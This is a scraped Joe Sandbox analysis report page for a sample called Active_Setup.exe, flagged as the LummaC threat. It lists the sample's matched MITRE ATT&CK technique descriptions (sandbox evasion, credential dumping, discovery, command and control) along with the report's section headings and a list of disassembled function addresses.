Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Active_Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
Active_Setup.exe

Function 009EC494 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 129
registryCOMMON

Function 00ACFE60 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 938
memoryCOMMON

Function 009CFA34 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Function 009CF8DC Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Function 009CF4F8 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 178
registryCOMMON

Function 009CF1B0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77
COMMON

Function 009D1D98 Relevance: 13.8, APIs: 9, Instructions: 258
COMMON

Function 00A6F080 Relevance: 6.1, APIs: 4, Instructions: 59
registryCOMMON

Function 009D61EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44
COMMON

Function 009CFB04 Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Function 009CFC2C Relevance: 3.1, APIs: 2, Instructions: 56
libraryCOMMON

Function 009EE108 Relevance: 3.0, APIs: 2, Instructions: 34
libraryCOMMON

Function 009EF770 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 009CE96C Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Function 009EE165 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON